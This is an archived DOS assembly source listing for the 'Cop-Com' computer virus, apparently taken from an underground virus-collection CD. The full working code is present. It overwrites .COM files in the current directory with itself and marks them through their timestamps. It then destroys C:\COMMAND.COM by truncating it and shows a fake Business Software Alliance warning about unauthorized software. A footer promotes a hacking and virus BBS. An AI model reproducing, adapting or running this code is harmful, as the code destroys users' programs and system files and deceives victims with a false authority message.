home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / copcom.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  2.6 KB  |  104 lines
  1. ;
  2. ; Cop-Com Virus
  3. ;
  4.                 Org 100h
  5.  
  6. Main:           Xor Cx,Cx
  7. On1:            Call CritErr
  8.                 Inc Cx
  9.                 Cmp Cx,10
  10.                 Jb  Infect
  11.                 Push Cs
  12.                 Pop Ds
  13.                 Mov Ah,3ch
  14.                 Lea Dx,Command
  15.                 Xor Cx,Cx
  16.                 Int 21h
  17.                 Mov Ah,9
  18.                 Lea Dx,Msg
  19.                 Int 21h
  20.                 Jmp ShutDown
  21. ;
  22. ; Infection procedure
  23. ;
  24. Infect:         Push Cx
  25.                 Mov Ah,4eh
  26.                 Push Cs
  27.                 Pop Ds
  28. NextFile:       Xor Cx,Cx
  29.                 Lea Dx,COMFILE
  30.                 Int 21h
  31.                 Jc  Einde
  32.                 Mov Ax,Cs:[96h]
  33.                 And Ax,1fh
  34.                 Cmp Ax,1fh
  35.                 Jne Do_It
  36.                 Mov Ah,4fh
  37.                 Jmp NextFile
  38. Do_It:          Mov Ax,3d02h
  39.                 Mov Dx,9eh
  40.                 Int 21h
  41.                 Xchg Ax,Bx
  42.                 Mov Ax,5700h
  43.                 Int 21h
  44.                 Push Cx
  45.                 Push Dx
  46.                 Mov Ah,40h
  47.                 Mov Dx,100h
  48.                 Mov Cx,VirLen
  49.                 Int 21h
  50.                 Pop Dx
  51.                 Pop Cx
  52.                 Or Cx,1fh
  53.                 Mov Ax,5701h
  54.                 Int 21h
  55.                 Mov Ah,3eh
  56.                 Int 21h
  57. Einde:          Pop Cx
  58.                 Jmp On1
  59.  
  60. ;
  61. ; Routine for calling the critical error handler
  62. ;
  63. CritErr:        Mov Ah,19h
  64.                 Int 21h
  65.                 Xor Dx,Dx
  66.                 Mov Ds,Dx
  67.                 Mov Ah,3ah
  68.                 Pushf
  69.                 Call Dword ptr Ds:[90h]
  70.                 Cmp Al,2
  71.                 Jae ShutDown
  72.                 Ret
  73.  
  74.  
  75. ;
  76. ; Terminate routine
  77. ;
  78. ShutDown:       Mov Ax,4c00h
  79.                 Int 21h
  80.  
  81.  
  82. ;
  83. ; Activate message
  84. ;
  85. Msg             Db 13,10,'Program halted by Cop-Com'
  86.                 Db 13,10,'Unauthorized program on your system'
  87.                 Db 13,10,'Consult Local dealer for support'
  88.                 Db 13,10,'$'
  89.  
  90.                 Db '> (C) Business Software Alliance <'
  91.  
  92. ;
  93. ; Filespecs
  94. ;
  95. Command         Db 'C:\COMMAND.COM',0
  96. COMFILE         Db '*.COM',0
  97.  
  98. VirLen          Equ $-Main
  99.  
  100. ;  ─────────────────────────────────────────────────────────────────────────
  101. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  102. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  103. ;  ─────────────────────────────────────────────────────────────────────────
  104.